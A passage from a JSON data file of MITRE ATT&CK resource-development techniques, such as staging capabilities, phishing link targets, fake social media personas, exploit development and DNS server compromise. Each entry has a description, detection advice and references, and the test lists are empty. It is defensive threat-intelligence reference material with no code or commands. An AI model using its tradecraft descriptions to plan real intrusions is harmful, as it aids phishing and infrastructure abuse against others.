- "description": "Adair, S. and Lancaster, T. (2020, November 6). OceanLotus: Extending Cyber Espionage Operations Through Fake Websites. Retrieved November 20, 2020."
- },
- {
- "source_name": "FireEye CFR Watering Hole 2012",
- "url": "https://www.fireeye.com/blog/threat-research/2012/12/council-foreign-relations-water-hole-attack-details.html",
- "description": "Kindlund, D. (2012, December 30). CFR Watering Hole Attack Details. Retrieved December 18, 2020."
- },
- {
- "source_name": "Gallagher 2015",
- "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
- "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
- },
- {
- "source_name": "ATT ScanBox",
- "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks",
- "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020."
- },
- {
- "source_name": "Malwarebytes Silent Librarian October 2020",
- "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/",
- "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."
- },
- {
- "source_name": "Proofpoint TA407 September 2019",
- "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian",
- "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."
- },
- {
- "source_name": "DigiCert Install SSL Cert",
- "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm",
- "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021."
- }
- ],
- "modified": "2022-03-08T21:59:57.521Z",
- "name": "Stage Capabilities",
- "description": "Adversaries may upload, install, or otherwise set up capabilities that can be used during targeting. To support their operations, an adversary may need to take capabilities they developed ([Develop Capabilities](https://attack.mitre.org/techniques/T1587)) or obtained ([Obtain Capabilities](https://attack.mitre.org/techniques/T1588)) and stage them on infrastructure under their control. These capabilities may be staged on infrastructure that was previously purchased/rented by the adversary ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or was otherwise compromised by them ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)). Capabilities can also be staged on web services, such as GitHub or Pastebin.(Citation: Volexity Ocean Lotus November 2020)\n\nStaging of capabilities can aid the adversary in a number of initial access and post-compromise behaviors, including (but not limited to):\n\n* Staging web resources necessary to conduct [Drive-by Compromise](https://attack.mitre.org/techniques/T1189) when a user browses to a site.(Citation: FireEye CFR Watering Hole 2012)(Citation: Gallagher 2015)(Citation: ATT ScanBox)\n* Staging web resources for a link target to be used with spearphishing.(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019)\n* Uploading malware or tools to a location accessible to a victim network to enable [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).(Citation: Volexity Ocean Lotus November 2020)\n* Installing a previously acquired SSL/TLS certificate to use to encrypt command and control traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)).(Citation: DigiCert Install SSL Cert)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "If infrastructure or patterns in malware, tooling, certificates, or malicious web content have been previously identified, internet scanning may uncover when an adversary has staged their capabilities.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as initial access and post-compromise behaviors.",
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1608.005": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--84ae8255-b4f4-4237-b5c5-e717405a9701",
- "type": "attack-pattern",
- "created": "2021-03-17T20:35:08.429Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1608.005",
- "url": "https://attack.mitre.org/techniques/T1608/005"
- },
- {
- "source_name": "Malwarebytes Silent Librarian October 2020",
- "url": "https://blog.malwarebytes.com/malwarebytes-news/2020/10/silent-librarian-apt-phishing-attack/",
- "description": "Malwarebytes Threat Intelligence Team. (2020, October 14). Silent Librarian APT right on schedule for 20/21 academic year. Retrieved February 3, 2021."
- },
- {
- "source_name": "Proofpoint TA407 September 2019",
- "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta407-silent-librarian",
- "description": "Proofpoint Threat Insight Team. (2019, September 5). Threat Actor Profile: TA407, the Silent Librarian. Retrieved February 3, 2021."
- }
- ],
- "modified": "2021-10-17T16:28:41.565Z",
- "name": "Link Target",
- "description": "Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link. \n\nTypically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.\n\nAdversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "If infrastructure or patterns in malicious web content have been previously identified, internet scanning may uncover when an adversary has staged web content to make it accessible for targeting.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on other phases of the adversary lifecycle, such as during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003), [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002), or [Malicious Link](https://attack.mitre.org/techniques/T1204/001).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1583.006": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54",
- "type": "attack-pattern",
- "created": "2020-10-01T00:50:29.936Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1583.006",
- "url": "https://attack.mitre.org/techniques/T1583/006"
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T15:45:01.956Z",
- "name": "Web Services",
- "description": "Adversaries may register for web services that can be used during targeting. A variety of popular websites exist for adversaries to register for a web-based service that can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567). Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, adversaries can make it difficult to physically tie back operations to them.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Once adversaries leverage the web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1588.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "SOCCRATES",
- "Mnemonic AS"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0",
- "type": "attack-pattern",
- "created": "2020-10-01T02:08:33.977Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1588.002",
- "url": "https://attack.mitre.org/techniques/T1588/002"
- },
- {
- "source_name": "Recorded Future Beacon 2019",
- "url": "https://www.recordedfuture.com/identifying-cobalt-strike-servers/",
- "description": "Recorded Future. (2019, June 20). Out of the Blue: How Recorded Future Identified Rogue Cobalt Strike Servers. Retrieved October 16, 2020."
- },
- {
- "source_name": "Analyzing CS Dec 2020",
- "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/",
- "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T16:17:55.499Z",
- "name": "Tool",
- "description": "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)\n\nAdversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Malware Repository: Malware Metadata"
- ]
- },
- "atomic_tests": []
- },
- "T1584.006": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ae797531-3219-49a4-bccf-324ad7a4c7b2",
- "type": "attack-pattern",
- "created": "2020-10-01T01:01:00.176Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1584.006",
- "url": "https://attack.mitre.org/techniques/T1584/006"
- },
- {
- "source_name": "Recorded Future Turla Infra 2020",
- "url": "https://www.recordedfuture.com/turla-apt-infrastructure/",
- "description": "Insikt Group. (2020, March 12). Swallowing the Snake\u2019s Tail: Tracking Turla Infrastructure. Retrieved October 20, 2020."
- },
- {
- "source_name": "ThreatConnect Infrastructure Dec 2020",
- "url": "https://threatconnect.com/blog/infrastructure-research-hunting/",
- "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021."
- }
- ],
- "modified": "2021-10-17T16:01:48.047Z",
- "name": "Web Services",
- "description": "Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Once adversaries leverage the abused web service as infrastructure (ex: for command and control), it may be possible to look for unique characteristics associated with adversary software, if known.(Citation: ThreatConnect Infrastructure Dec 2020)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)) or [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1585.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928",
- "type": "attack-pattern",
- "created": "2020-10-01T01:08:41.124Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1585.001",
- "url": "https://attack.mitre.org/techniques/T1585/001"
- },
- {
- "source_name": "NEWSCASTER2014",
- "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
- "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
- },
- {
- "source_name": "BlackHatRobinSage",
- "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
- "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
- }
- ],
- "modified": "2021-10-16T17:37:34.563Z",
- "name": "Social Media Accounts",
- "description": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Persona: Social Media"
- ]
- },
- "atomic_tests": []
- },
- "T1587.004": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2",
- "type": "attack-pattern",
- "created": "2020-10-01T01:48:15.511Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1587.004",
- "url": "https://attack.mitre.org/techniques/T1587/004"
- },
- {
- "source_name": "NYTStuxnet",
- "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
- "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
- },
- {
- "source_name": "Irongeek Sims BSides 2017",
- "url": "https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims",
- "description": "Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020."
- }
- ],
- "modified": "2021-04-15T03:07:53.803Z",
- "name": "Exploits",
- "description": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1608.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069",
- "type": "attack-pattern",
- "created": "2021-03-17T20:32:13.793Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1608.003",
- "url": "https://attack.mitre.org/techniques/T1608/003"
- },
- {
- "source_name": "DigiCert Install SSL Cert",
- "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm",
- "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021."
- },
- {
- "source_name": "Splunk Kovar Certificates 2017",
- "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html",
- "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."
- }
- ],
- "modified": "2021-10-16T17:47:46.409Z",
- "name": "Install Digital Certificate",
- "description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ]
- },
- "atomic_tests": []
- },
- "T1584.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jeremy Galloway"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--c2f59d25-87fe-44aa-8f83-e8e59d077bf5",
- "created": "2020-10-01T00:54:30.869Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1584.002",
- "url": "https://attack.mitre.org/techniques/T1584/002"
- },
- {
- "source_name": "FireEye DNS Hijack 2019",
- "url": "https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html",
- "description": "Hirani, M., Jones, S., Read, B. (2019, January 10). Global DNS Hijacking Campaign: DNS Record Manipulation at Scale. Retrieved October 9, 2020."
- },
- {
- "source_name": "Crowdstrike DNS Hijack 2019",
- "url": "https://www.crowdstrike.com/blog/widespread-dns-hijacking-activity-targets-multiple-sectors/",
- "description": "Matt Dahl. (2019, January 25). Widespread DNS Hijacking Activity Targets Multiple Sectors. Retrieved February 14, 2022."
- },
- {
- "source_name": "Talos DNSpionage Nov 2018",
- "url": "https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html",
- "description": "Mercer, W., Rascagneres, P. (2018, November 27). DNSpionage Campaign Targets Middle East. Retrieved October 9, 2020."
- },
- {
- "source_name": "CiscoAngler",
- "url": "https://blogs.cisco.com/security/talos/angler-domain-shadowing",
- "description": "Nick Biasini. (2015, March 3). Threat Spotlight: Angler Lurking in the Domain Shadows. Retrieved March 6, 2017."
- },
- {
- "source_name": "Proofpoint Domain Shadowing",
- "url": "https://www.proofpoint.com/us/threat-insight/post/The-Shadow-Knows",
- "description": "Proofpoint Staff. (2015, December 15). The shadow knows: Malvertising campaigns use domain shadowing to pull in Angler EK. Retrieved October 16, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may compromise third-party DNS servers that can be used during targeting. During post-compromise activity, adversaries may utilize DNS traffic for various tasks, including for Command and Control (ex: [Application Layer Protocol](https://attack.mitre.org/techniques/T1071)). Instead of setting up their own DNS servers, adversaries may compromise third-party DNS servers in support of operations.\n\nBy compromising DNS servers, adversaries can alter DNS records. Such control can allow for redirection of an organization's traffic, facilitating Collection and Credential Access efforts for the adversary.(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may leverage such control in conjunction with [Digital Certificates](https://attack.mitre.org/techniques/T1588/004) to redirect traffic to adversary-controlled infrastructure, mimicking normal trusted network communications.(Citation: FireEye DNS Hijack 2019)(Citation: Crowdstrike DNS Hijack 2019) Adversaries may also be able to silently create subdomains pointed at malicious servers without tipping off the actual owner of the DNS server.(Citation: CiscoAngler)(Citation: Proofpoint Domain Shadowing)",
- "modified": "2022-04-19T21:22:13.578Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "DNS Server",
- "x_mitre_detection": "Consider monitoring for anomalous resolution changes for domain addresses. Efforts may need to be tailored to specific domains of interest as benign resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "resource-development"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Domain Name: Active DNS",
- "Domain Name: Passive DNS"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1585": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8",
- "type": "attack-pattern",
- "created": "2020-10-01T01:05:42.216Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1585",
- "url": "https://attack.mitre.org/techniques/T1585"
- },
- {
- "source_name": "NEWSCASTER2014",
- "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.",
- "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"
- },
- {
- "source_name": "BlackHatRobinSage",
- "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.",
- "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"
- },
- {
- "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
- "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
- "source_name": "Mandiant APT1"
- }
- ],
- "modified": "2021-10-16T17:35:59.386Z",
- "name": "Establish Accounts",
